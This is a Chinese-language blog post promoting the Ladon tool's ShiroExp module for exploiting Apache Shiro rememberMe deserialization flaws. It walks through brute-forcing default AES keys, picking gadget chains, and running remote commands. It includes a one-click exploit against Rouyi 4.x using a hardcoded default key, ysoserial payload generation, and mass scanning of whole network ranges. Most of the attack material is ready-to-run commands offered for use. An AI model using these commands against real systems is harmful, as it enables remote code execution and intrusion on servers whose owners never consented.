Ladon ShiroEXP高效爆破Key 反序列化漏洞复现
<% Visit %>
Ladon ShiroEXP 高效爆破Key Shiro反序列化漏洞复现
功能简介
支持执行自定义payload (ysoserial) 一键爆破Shiro Key 自动CBC/GCM 支持keys.txt 多线程检测1100+仅需几十秒 一键检测 反序列化 利用链 Shiro高版本GCM回显命令执行(不出网) Shiro低版本CBC回显命令执行(不出网) 输出ShiroExp.log
命令执行-回显利用链
CommonsCollectionsK2
CommonsBeanutils2
Jdk7u21
Jdk8u20
CommonsBeanutils1
CommonsCollectionsK1
Shiro反序列化漏洞原理
由于Apache Shiro cookie中通过 AES-128-CBC、AES-128-GCM 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
爆破Shiro Key
内置1000+默认Key,多线程一键爆破(自动AES、GCM加密),几秒验证
支持对Shiro-550(硬编码秘钥)和Shiro-721(Padding Oracle)的一键化检测
1 | Ladon ShiroExp http://192.168.1.8 check |
爆破利用链
内置1000+默认Key,多线程一键爆破(自动AES-CBC、AES-GCM加密),几秒验证
1 | Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== cbc check |
ShiroEXP 漏洞利用
使用爆破出来的对应利用链,无回显执行命令
1 | Ladon ShiroExp http://192.168.1.8 zSyK5Kp6PZAAjlT+eeNMlg== cbc CommonsBeanutils1 whoami |
Rouyi 4.x漏洞利用
Rouyi4Exp只针对4.X默认Key(zSyK5Kp6PZAAjlT+eeNMlg==),利用链CommonsBeanutils1的一键利用。对于其它版本,最好还是使用ShiroExp模块,这个针对所有使用Shiro框架的CMS
1 | Ladon Rouyi4Exp http://192.168.1.8 whoami |
执行自定义payload
ysoserial生成payload
Shiro利用链CommonsBeanutils1,所以payload必须使用CommonsBeanutils1封装,并不是任意class都能执行,要不然还爆破利用链的干嘛?因为目标引用了这个库,才能反序列化执行命令,并不是单纯知道KEY,就能执行。
1 | java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/k8gege.txt" > yso.ser |
使用对应KEY 对应加密方式 执行payload 如shiro低版本 AES-CBC对应KEY加密,再发送加密后的cookie,所以这是为什么直接抓别人包,发送YSO生成payload无效的原因,一定要了解整个EXP通信原理,而不是表面理解,只知道通过remberME字段反序列化,可是让自己构造个payload,都不知道要封装成对应的,随意找个class当然不行啊,除非是原生JAVA,且支持所有java版本的class,明显没有,存在通用反序化payload的话就不需要ysoserial工具了。
1 | Ladon ShiroExp http://192.168.50.223:8080 kPH+bIxk5D2deZiIxcaaaA== cbc diy yso.ser |
检测是否执行成功
1 | Ladon ShiroExp http://192.168.50.223:8080 kPH+bIxk5D2deZiIxcaaaA== cbc CommonsCollectionsK1 "ls /tmp" |
影响版本
1 | Apache Shiro < 1.2.4 |
Shiro框架检测
模块IsShiro,Cobalt Strike下命令用法一致,但无需上传EXE至目标,内存加载,隐蔽性高
指定URL
1 | Ladon http://192.168.1.8 IsShiro |
指定IP
1 | Ladon 192.168.1.8 IsShiro |
批量URL
1 | Ladon url.txt IsShiro |
PS:TXT可存放IP、IP:Port、URL等格式
批量IP
1 | Ladon ip.txt IsShiro |
指定C段
1 | Ladon 192.168.1.8/24 IsShiro |
指定B段
1 | Ladon 192.168.1.8/b IsShiro |
指定A段
1 | Ladon 192.168.1.8/a IsShiro |
批量C段
1 | Ladon ip24.txt IsShiro |
PS: TXT存放多个目标的C段IP
批量B段
1 | Ladon ip16.txt IsShiro |
PS: TXT存放多个目标的B段IP
批量网段
1 | Ladon cidr.txt IsShiro |
PS: TXT存放各种IP网段,全网无差别扫描
更多功能 使用教程
转载声明
K8博客文章随意转载,转载请注明出处! © K8gege http://k8gege.org

扫码加入K8小密圈